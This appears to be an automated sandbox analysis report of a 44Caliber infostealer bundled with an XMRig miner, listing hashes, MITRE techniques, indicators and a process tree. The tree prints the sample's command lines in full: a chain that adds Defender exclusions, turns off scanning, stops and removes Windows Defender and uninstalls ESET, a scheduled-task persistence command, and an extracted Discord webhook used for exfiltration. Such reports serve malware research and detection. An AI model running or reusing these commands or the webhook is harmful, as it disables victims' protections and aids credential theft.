44caliber | 620b5b24add3610dadb6d18e4a52f1fa3c6cb5686dac389b655be6ffb1ef62e5

Analysis

max time kernel
35s
max time network
144s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
25-12-2023 13:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

22bae033c46d71990197f17a981ce3c9.exe
Size

2.3MB
MD5

22bae033c46d71990197f17a981ce3c9
SHA1

ce5488cd3d40e42917c7bb1c642da4b7817248d0
SHA256

620b5b24add3610dadb6d18e4a52f1fa3c6cb5686dac389b655be6ffb1ef62e5
SHA512

3a9448ca3b0b3074eaae4f0803f9d8522d19e5f0bbe222131a64543f374bf8658c8f9c0c08b2136bdc54439bc039e03fa4f61284aae26e15515790487731abd5
SSDEEP

49152:9T1KUWNK6HkvoHKbtaU0fG9sFbI3TWdhswrlEkj1vi25m:h49gqkvFZZ0fZsjWdhswrxj15

Score

10^/10

44caliber xmrig evasion miner spyware stealer

Malware Config

Extracted

Family

44caliber

https://discord.com/api/webhooks/868513655556292688/7ViWQKXofSCTi8VWoHEcGeQK61RUEBYfnsE72cu6TJnpHYwlgzbrVI5gQn_jpfUMFoS5

Signatures

44Caliber
An open source infostealer written in C#.
stealer 44caliber
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 19 IoCs

miner

resource	yara_rule
behavioral1/memory/2460-887-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-888-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-889-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-890-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-891-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-918-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-892-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-999-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-975-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-1003-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-1008-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-1013-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-1019-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-1022-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-1020-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-1021-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-1224-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-1232-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2460-1233-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 4 IoCs

pid	Process
2712	Interia loader.exe
2668	Insidious.exe
940	sihost64.exe
1944	Services.exe

Loads dropped DLL 3 IoCs

pid	Process
2448	22bae033c46d71990197f17a981ce3c9.exe
2712	Interia loader.exe
2712	Interia loader.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	freegeoip.app
3	freegeoip.app

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2360	sc.exe
2196	sc.exe
988	sc.exe
1176	sc.exe
1484	sc.exe
2908	sc.exe
1524	sc.exe
1544	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Insidious.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Insidious.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1156	schtasks.exe
964	schtasks.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
2668	Insidious.exe
2668	Insidious.exe
2668	Insidious.exe
2664	powershell.exe
2668	Insidious.exe
2604	powershell.exe
844	powershell.exe
604	powershell.exe
2912	powershell.exe
1380	powershell.exe
1700	powershell.exe
2220	powershell.exe
2712	Interia loader.exe
1568	powershell.exe
2716	powershell.exe
2728	powershell.exe
1068	Dism.exe
2712	Interia loader.exe
1104	powershell.exe
1852	powershell.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	2668	Insidious.exe
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	844	powershell.exe
Token: SeDebugPrivilege	604	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	1380	powershell.exe
Token: SeDebugPrivilege	2712	Interia loader.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	1068	Dism.exe
Token: SeDebugPrivilege	1104	powershell.exe
Token: SeDebugPrivilege	1852	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2448 wrote to memory of 2712	2448	22bae033c46d71990197f17a981ce3c9.exe	28
PID 2448 wrote to memory of 2712	2448	22bae033c46d71990197f17a981ce3c9.exe	28
PID 2448 wrote to memory of 2712	2448	22bae033c46d71990197f17a981ce3c9.exe	28
PID 2448 wrote to memory of 2668	2448	22bae033c46d71990197f17a981ce3c9.exe	29
PID 2448 wrote to memory of 2668	2448	22bae033c46d71990197f17a981ce3c9.exe	29
PID 2448 wrote to memory of 2668	2448	22bae033c46d71990197f17a981ce3c9.exe	29
PID 2712 wrote to memory of 2724	2712	Interia loader.exe	30
PID 2712 wrote to memory of 2724	2712	Interia loader.exe	30
PID 2712 wrote to memory of 2724	2712	Interia loader.exe	30
PID 2724 wrote to memory of 2664	2724	cmd.exe	32
PID 2724 wrote to memory of 2664	2724	cmd.exe	32
PID 2724 wrote to memory of 2664	2724	cmd.exe	32
PID 2724 wrote to memory of 2604	2724	cmd.exe	34
PID 2724 wrote to memory of 2604	2724	cmd.exe	34
PID 2724 wrote to memory of 2604	2724	cmd.exe	34
PID 2724 wrote to memory of 844	2724	cmd.exe	35
PID 2724 wrote to memory of 844	2724	cmd.exe	35
PID 2724 wrote to memory of 844	2724	cmd.exe	35
PID 2724 wrote to memory of 604	2724	cmd.exe	36
PID 2724 wrote to memory of 604	2724	cmd.exe	36
PID 2724 wrote to memory of 604	2724	cmd.exe	36
PID 2724 wrote to memory of 2912	2724	cmd.exe	37
PID 2724 wrote to memory of 2912	2724	cmd.exe	37
PID 2724 wrote to memory of 2912	2724	cmd.exe	37
PID 2712 wrote to memory of 3040	2712	Interia loader.exe	38
PID 2712 wrote to memory of 3040	2712	Interia loader.exe	38
PID 2712 wrote to memory of 3040	2712	Interia loader.exe	38
PID 3040 wrote to memory of 1156	3040	cmd.exe	40
PID 3040 wrote to memory of 1156	3040	cmd.exe	40
PID 3040 wrote to memory of 1156	3040	cmd.exe	40
PID 2724 wrote to memory of 1380	2724	cmd.exe	41
PID 2724 wrote to memory of 1380	2724	cmd.exe	41
PID 2724 wrote to memory of 1380	2724	cmd.exe	41
PID 2724 wrote to memory of 1700	2724	cmd.exe	42
PID 2724 wrote to memory of 1700	2724	cmd.exe	42
PID 2724 wrote to memory of 1700	2724	cmd.exe	42
PID 2724 wrote to memory of 2220	2724	cmd.exe	45
PID 2724 wrote to memory of 2220	2724	cmd.exe	45
PID 2724 wrote to memory of 2220	2724	cmd.exe	45
PID 2724 wrote to memory of 1568	2724	cmd.exe	46
PID 2724 wrote to memory of 1568	2724	cmd.exe	46
PID 2724 wrote to memory of 1568	2724	cmd.exe	46
PID 2724 wrote to memory of 2716	2724	cmd.exe	47
PID 2724 wrote to memory of 2716	2724	cmd.exe	47
PID 2724 wrote to memory of 2716	2724	cmd.exe	47
PID 2724 wrote to memory of 2728	2724	cmd.exe	48
PID 2724 wrote to memory of 2728	2724	cmd.exe	48
PID 2724 wrote to memory of 2728	2724	cmd.exe	48
PID 2724 wrote to memory of 1068	2724	cmd.exe	108
PID 2724 wrote to memory of 1068	2724	cmd.exe	108
PID 2724 wrote to memory of 1068	2724	cmd.exe	108
PID 2724 wrote to memory of 1104	2724	cmd.exe	50
PID 2724 wrote to memory of 1104	2724	cmd.exe	50
PID 2724 wrote to memory of 1104	2724	cmd.exe	50
PID 2712 wrote to memory of 940	2712	Interia loader.exe	51
PID 2712 wrote to memory of 940	2712	Interia loader.exe	51
PID 2712 wrote to memory of 940	2712	Interia loader.exe	51
PID 940 wrote to memory of 2628	940	sihost64.exe	52
PID 940 wrote to memory of 2628	940	sihost64.exe	52
PID 940 wrote to memory of 2628	940	sihost64.exe	52
PID 2628 wrote to memory of 1852	2628	cmd.exe	54
PID 2628 wrote to memory of 1852	2628	cmd.exe	54
PID 2628 wrote to memory of 1852	2628	cmd.exe	54
PID 2712 wrote to memory of 1944	2712	Interia loader.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\22bae033c46d71990197f17a981ce3c9.exe
"C:\Users\Admin\AppData\Local\Temp\22bae033c46d71990197f17a981ce3c9.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2448
- C:\Users\Admin\AppData\Local\Temp\Interia loader.exe
  "C:\Users\Admin\AppData\Local\Temp\Interia loader.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\cmd.exe
    "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name="Eset Security" call uninstall & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Set-MpPreference -DisableArchiveScanning $true
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1380
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Set-MpPreference -DisableScriptScanning $true
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1568
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Set-MpPreference -DisableIOAVProtection $true
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2716
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2728
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force
      4⤵
      PID:1068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Set-MpPreference -MAPSReporting Disabled
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1104
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend
      4⤵
      PID:2744
  - - C:\Windows\system32\sc.exe
      sc config WinDefend start=disabled
      4⤵
      Launches sc.exe
      PID:1524
  - - C:\Windows\system32\sc.exe
      sc stop WinDefend
      4⤵
      Launches sc.exe
      PID:1544
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Stop-Service WinDefend
      4⤵
      PID:1008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Set-Service WinDefend -StartupType Disabled
      4⤵
      PID:1868
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Uninstall-WindowsFeature -Name Windows-Defender
      4⤵
      PID:2736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI
      4⤵
      PID:2332
  - - C:\Windows\system32\Dism.exe
      Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
      4⤵
      PID:2452
    - - C:\Users\Admin\AppData\Local\Temp\3E2C3176-49A1-4ECC-ADFF-9AEB7DF35482\dismhost.exe
        
        C:\Users\Admin\AppData\Local\Temp\3E2C3176-49A1-4ECC-ADFF-9AEB7DF35482\dismhost.exe {745192CC-FC01-4856-B91F-771C386BFCB0}
        5⤵
        
        PID:2964
  - - C:\Windows\System32\Wbem\WMIC.exe
      Wmic Product where name="Eset Security" call uninstall
      4⤵
      PID:1536
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3040
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"'
      4⤵
      Creates scheduled task(s)
      PID:1156
- - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:940
  - - C:\Windows\system32\cmd.exe
      "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name="Eset Security" call uninstall & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2628
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1852
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        5⤵
        
        PID:2460
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        5⤵
        
        PID:2464
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        5⤵
        
        PID:2328
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableArchiveScanning $true
        5⤵
        
        PID:2752
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true
        5⤵
        
        PID:1056
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        
        PID:1484
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableScriptScanning $true
        5⤵
        
        PID:2664
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true
        5⤵
        
        PID:2316
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableIOAVProtection $true
        5⤵
        
        PID:856
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled
        5⤵
        
        PID:1324
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force
        5⤵
        
        PID:2872
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -MAPSReporting Disabled
        5⤵
        
        PID:2356
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend
        5⤵
        
        PID:1984
    - - C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        5⤵
        Launches sc.exe
        
        PID:2360
    - - C:\Windows\system32\sc.exe
        
        sc stop WinDefend
        5⤵
        Launches sc.exe
        
        PID:2196
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Stop-Service WinDefend
        5⤵
        
        PID:320
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-Service WinDefend -StartupType Disabled
        5⤵
        
        PID:2908
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Uninstall-WindowsFeature -Name Windows-Defender
        5⤵
        
        PID:2564
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI
        5⤵
        
        PID:1656
    - - C:\Windows\system32\Dism.exe
        
        Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1068
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        Wmic Product where name="Eset Security" call uninstall
        5⤵
        
        PID:2976
- - C:\Users\Admin\AppData\Roaming\Services.exe
    "C:\Users\Admin\AppData\Roaming\Services.exe"
    3⤵
    - Executes dropped EXE
    PID:1944
  - - C:\Windows\system32\cmd.exe
      "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name="Eset Security" call uninstall & exit
      4⤵
      PID:884
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        5⤵
        
        PID:1372
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        5⤵
        
        PID:1628
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        5⤵
        
        PID:368
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        5⤵
        
        PID:2692
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableArchiveScanning $true
        5⤵
        
        PID:1656
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true
        5⤵
        
        PID:2348
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        
        PID:1612
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableScriptScanning $true
        5⤵
        
        PID:2896
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true
        5⤵
        
        PID:1068
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableIOAVProtection $true
        5⤵
        
        PID:932
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled
        5⤵
        
        PID:1808
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force
        5⤵
        
        PID:1376
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -MAPSReporting Disabled
        5⤵
        
        PID:1644
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend
        5⤵
        
        PID:2720
    - - C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        5⤵
        Launches sc.exe
        
        PID:988
    - - C:\Windows\system32\sc.exe
        
        sc stop WinDefend
        5⤵
        Launches sc.exe
        
        PID:1176
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Stop-Service WinDefend
        5⤵
        
        PID:2704
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-Service WinDefend -StartupType Disabled
        5⤵
        
        PID:3056
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Uninstall-WindowsFeature -Name Windows-Defender
        5⤵
        
        PID:1340
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI
        5⤵
        
        PID:676
    - - C:\Windows\system32\Dism.exe
        
        Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
        5⤵
        
        PID:2496
      - C:\Users\Admin\AppData\Local\Temp\66552BD4-46F3-4B75-A188-7A19821F1F24\dismhost.exe
        
        C:\Users\Admin\AppData\Local\Temp\66552BD4-46F3-4B75-A188-7A19821F1F24\dismhost.exe {841C4890-A15B-43B2-82B7-6A48BF3D3E86}
        6⤵
        
        PID:2872
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        Wmic Product where name="Eset Security" call uninstall
        5⤵
        
        PID:752
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' & exit
      4⤵
      PID:864
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:964
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
      4⤵
      PID:2008
    - - C:\Windows\system32\cmd.exe
        
        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & 